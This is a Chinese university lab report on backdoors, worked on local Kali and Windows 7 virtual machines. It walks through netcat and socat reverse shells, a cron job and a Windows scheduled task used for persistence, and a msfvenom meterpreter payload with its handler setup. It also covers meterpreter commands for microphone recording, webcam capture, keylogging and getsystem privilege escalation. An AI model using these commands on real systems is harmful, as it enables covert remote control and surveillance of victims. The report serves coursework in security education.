2018-2019-2 网络对抗技术 20165231 Exp2 后门原理与实践
实验内容
1.使用netcat获取主机操作Shell,cron启动
2.使用socat获取主机操作Shell, 任务计划启动
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
基础问答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 网站捆绑下载
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 修改注册表,添加自启动、修改正常软件快捷方式的启动路径
(3)Meterpreter有哪些给你映像深刻的功能?
- 夺取开启摄像头、麦克风等设备权限,读取键盘内容
(4)如何发现自己有系统有没有被安装后门?
- 电脑安全软件扫描、查看自启项有无异常程序
实验过程
常用后门工具测试
ncat
Linux获得Windows Shell
- 首先在查看kali虚拟机的IP地址
ifconfig
(这里和win的ipconfig
有所区别)
- kali使用nc指令监听端口:
nc -l -p 5231
- Windows上使用ncat.exe程序的-e选项项反向连接Kali主机的端口:ncat.exe -e cmd.exe 192.168.70.131 5231
- kali:获得win7 Windows Shell
Windows获得Linux Shell
- Windows:使用ipconfig指令查看本机IP:192.168.70.130
- 使用ncat.exe程序监听本机的端口:
ncat.exe -l -p 5231
- kali:使用nc指令的-e选项反向连接Windows主机的端口:
ncat 192.168.70.130 5231 -e /bin/sh
- Windows获取kali shell
用nc传输数据
- 在Windows下监听端口:
ncat.exe -l 5231
- kali下连接到Windows的端口:
nc 192.168.70.130 5231
之后就可以双向传输文字
用nc传输文件
- Windows下监听端口,把收到的数据保存到wyhy.out中:
ncat.exe -l 5231 > wyhy.out
- kali下先创建wyhy.in文件,再反弹连接到Windows的端口:
nc 192.168.70.130 5231 < wyhy.in
传输成功后kali里创建的文件的内容就会在Windows同名文件中出现。
1、使用netcat获取主机操作Shell,cron启动
先在win7系统下,监听端口:ncat.exe -l -p 5231
在kali下,使用man cron
查看crontab命令的帮助文档
- crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
用crontab -e
指令编辑一条定时任务
在最后一行添加18 * * * * /bin/netcat 192.168.70.131 -e /bin/sh
,意思是在每个小时的第18分钟反向连接Windows主机的端口
在时间没到的时候无论你在Windows那边怎么输都是没有反应的,但是在时间到的一刻你输入的所有都会瞬间显示在频幕上
![](./images/1%E7%BB%93%E6%9E%9C.png)
2、使用socat获取主机操作Shell, 任务计划启动
- 在Windows系统下,打开
控制面板>系统和安全>管理工具>任务计划程序>创建任务
在触发器选项开始任务选项选择工作站锁定时
在操作选项卡填入socat的路径,参数填tcp-listen:XX exec:cmd.exe,pty,stderr
(XX为自己设定端口号)
![](./images/%E5%88%9B%E5%BB%BA%E6%93%8D%E4%BD%9C.png)
创建完成后锁定Windows,然后去kali
在kali输入socat - tcp:windows IP:端口号
此时可以发现已经成功获得了一个cmd shell(这里可能需要做两次,Windows初次使用socat会有弹窗提示是否允许使用网络,然而你锁了Windows啥都不知道,不成功就倒回去Windows看看吧)
3、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali IP LPORT=XXXX -f exe > 20165231_backdoor.exe
生成后门
在Windows下执行ncat.exe -l 5231 > 20165231_backdoor.exe
,被控主机进入接收文件模式
在kali中通过nc windows ip:XXXX < 20165230_backdoor.exe
将生成的后门程序传送到Windows主机上
在kali上使用msfconsole
指令进入msf控制台
设置监听模块
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.70.131 //这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5231 //同样要使用相同的端口
![](./images/%E7%9B%91%E5%90%AC%E9%85%8D%E7%BD%AE.png)
设置完成后,执行监听exploit
然后在Windows上双击之前生成的文件
此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic
指令截获一段音频
使用webcam_snap
指令可以使用摄像头进行拍照:
使用webcam stream
指令可以使用摄像头进行录像:
使用screenshot
指令可以进行截屏:
使用keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
先使用getuid
指令查看当前用户,使用getsystem
指令进行提权,如图所示,提权成功
实验遇到的问题
1、使用MSF meterpreter调用摄像头时显示操作失败:1411
解决:虚拟机关联到物理机的摄像头,在VM虚拟机右下加有个U盘标志,右键连接就关联上物理机上的设备了。如果右下角没有U盘标志,那就在虚拟机设置里面添加就ok了。
实验感想
我以前一直以为只要防火墙,安全软件安好就一定不会有什么被入侵的可能。看来我还是太年轻了,我们这种初学的小米渣在win7没关防火墙情况下都能依葫芦画瓢完成渗透,若不是摄像头启动有指示灯,神不知鬼不觉都被拍了。不过对于目前的渣渣技术想要完全渗透到别人的系统里除了这些技术看来还得用上社会工程学才能得手啊。